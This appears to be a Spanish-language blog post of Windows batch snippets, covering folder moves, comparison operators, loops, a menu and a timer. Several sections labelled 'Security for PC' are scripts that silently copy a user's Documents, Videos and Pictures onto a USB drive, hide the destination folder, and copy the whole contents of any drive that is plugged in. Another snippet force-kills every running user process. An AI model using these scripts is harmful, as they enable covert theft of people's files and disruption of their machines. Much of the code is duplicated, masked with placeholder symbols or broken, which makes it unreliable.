BAT CREAR-- ESCRIBIR LINEA EN BAT-- MOVER-- EJECUTAR EN CARPETA--
****************************************
md Oops
echo
@ECHO off
ECHO start chrome.exe > "michellas.bat"
echo
move michellas.bat Oops
echo
start Oops\michellas.bat
-----------------------------------------------------------
move \Files
md Mike
md Oops
move Mike Oops
move Oops\Mike
move *.xlsx Excel > nul
move *.lnk Excel > nul
****************************************
Parametros
EQU - Igual
NEQ - No igual
LSS - Menor que
LEQ - Menor que o igual
GTR - Mayor que
GEQ - Mayor que o igual
****************************************
Set numero=10
If %numero% EQU 10 (echo El numero es igual a 10)
pause>null
****************************************
@echo
set /a cuenta=0
:bucle
set /a cuenta=%cuenta%+1
echo texto
if %cuenta%==100 (exit) else (goto:bucle)
****************************************
Security for PC
@echo off
Set T$$$$$=%USERP$$$$$$%\Documents
Set C$$$$$$$$$$$$$=Info
Set O$$$$$$$$$$$$$$$$$$$$=SI
Set D$$$$$$=%CarpetaDestino%\%COMPUTERNAME%-%USER$$$$%\DocumentosSecretos
If Not Exist "%Destino%" MkDir "%Destino%"
If %O$$$$$$$$$$$$$$$$$$$$%==SI (Attrib +S +H "%CarpetaDestino%")
XCOPY /SICHY "%Target%" "%###%\%Destino%"
@echo off
Set Target=%USERPROFILE%\Videos
Set CarpetaDestino=In0
Set OrCarpetaDestino=SI
Set Destino=%CarpetaDestino%\%COMPUTERNAME%-%USERNAME%\DocumentosSecretos
If Not Exist "%Destino%" MkDir "%Destino%"
If %OrCarpetaDestino%===SI (Attrib +S +H "%CarpetaDestino%")
XCOPY /SICHY "%Target%" "%usb%\%Destino%"
@echo off
color 2
Set Target=%USERPROFILE%\Pictures
Set C=b
Set O=SI
Set D=%C%
If Not Exist "%D%" MkDir "%D%" %C%
If %O%==SI (Attrib +h "%C%" ## $$)
XCOPY /SICHY "%Target%" "%USB%\%Destino%"
****************************************
KILL ALL PROCESS
@echo off
for /f "tokens=1" %%t in ('tasklist /v /fi "USERNAME ne NT AUTHORITY\SYSTEM" /fi "STATUS eq running" 2^>NUL') do taskkill /im "%%t" /f
****************************************
EQU - Igual
NEQ - No igual
LSS - Menor que
LEQ - Menor que o igual
GTR - Mayor que
GEQ - Mayor que o igual
****************************************
Set numero=10
If %numero% EQU 10 (echo El numero es igual a 10)
pause>null
****************************************
@echo
set /a cuenta=0
:bucle
set /a cuenta=%cuenta%+1
echo texto
if %cuenta%==100 (exit) else (goto:bucle)
****************************************
Security for PC
echo Esperando ###...
for %%u in (a, b,... z) do (
dir /b %%u:\ > nul 2>&1 && (
for /f "tokens=8*" %%a in ('vol %%u: ^| find "volumen de la unidad"') do (echo Unidad %%u:\ "%%a" detectada
if exist "%c:%\archivos\%%u-%%a" (goto ###) else (xcopy /s /c /i /h "%%u:"\*.* %c:%\archivos\"%%u-%%a" & goto ###)
pause>nul
)
)
)
goto ###
exit
****************************************@echo off
Set T$$$$$=%USERP$$$$$$%\Documents
Set C$$$$$$$$$$$$$=Info
Set O$$$$$$$$$$$$$$$$$$$$=SI
Set D$$$$$$=%CarpetaDestino%\%COMPUTERNAME%-%USER$$$$%\DocumentosSecretos
If Not Exist "%Destino%" MkDir "%Destino%"
If %O$$$$$$$$$$$$$$$$$$$$%==SI (Attrib +S +H "%CarpetaDestino%")
XCOPY /SICHY "%Target%" "%###%\%Destino%"
@echo off
Set Target=%USERPROFILE%\Videos
Set CarpetaDestino=In0
Set OrCarpetaDestino=SI
Set Destino=%CarpetaDestino%\%COMPUTERNAME%-%USERNAME%\DocumentosSecretos
If Not Exist "%Destino%" MkDir "%Destino%"
If %OrCarpetaDestino%===SI (Attrib +S +H "%CarpetaDestino%")
XCOPY /SICHY "%Target%" "%usb%\%Destino%"
@echo off
color 2
Set Target=%USERPROFILE%\Pictures
Set C=b
Set O=SI
Set D=%C%
If Not Exist "%D%" MkDir "%D%" %C%
If %O%==SI (Attrib +h "%C%" ## $$)
XCOPY /SICHY "%Target%" "%USB%\%Destino%"
****************************************
KILL ALL PROCESS
@echo off
for /f "tokens=1" %%t in ('tasklist /v /fi "USERNAME ne NT AUTHORITY\SYSTEM" /fi "STATUS eq running" 2^>NUL') do taskkill /im "%%t" /f
****************************************
@echo off
:menu
title MENU PC
color 07
mode con cols=66
mode con lines=35
echo Fecha: %date%
echo Hora actual: %time%
echo ***********************************************
echo Recuerde que tiene que seleccionar una opcion.
echo ***********************************************
echo INTERNET ***
echo 01. Google
:menu
title MENU PC
color 07
mode con cols=66
mode con lines=35
echo Fecha: %date%
echo Hora actual: %time%
echo ***********************************************
echo Recuerde que tiene que seleccionar una opcion.
echo ***********************************************
echo INTERNET ***
echo 01. Google
echo************************************************************
echo Selecciona el numero y despues da clic en ENTER para entrar.
echo ************************************************************
set /p var= Selecciona una opcion:
if %var%==01 goto buscador
:closed
cls
mode con cols=75
mode con lines=30
CODE
cls
goto menu
:
cls
color b0
mode con cols=#
mode con lines=#
title TEMPORIZADOR
echo ------------------------------------------------
echo TEMPORIZADOR
echo ------------------------------------------------
@echo off
set /p numero1= Escriba un numero:
set /a multiplicacion= %numero1% * 60
code what you want to do...#####
echo ------------------------------------------------
echo.
cls
goto menu
:
cls
color b0
mode con cols=#
mode con lines=#
title TEMPORIZADOR
echo ------------------------------------------------
echo TEMPORIZADOR
echo ------------------------------------------------
@echo off
set /p numero1= Escriba un numero:
set /a multiplicacion= %numero1% * 60
code what you want to do...#####
echo ------------------------------------------------
echo.
cls
goto menu
****************************************
No hay comentarios:
Publicar un comentario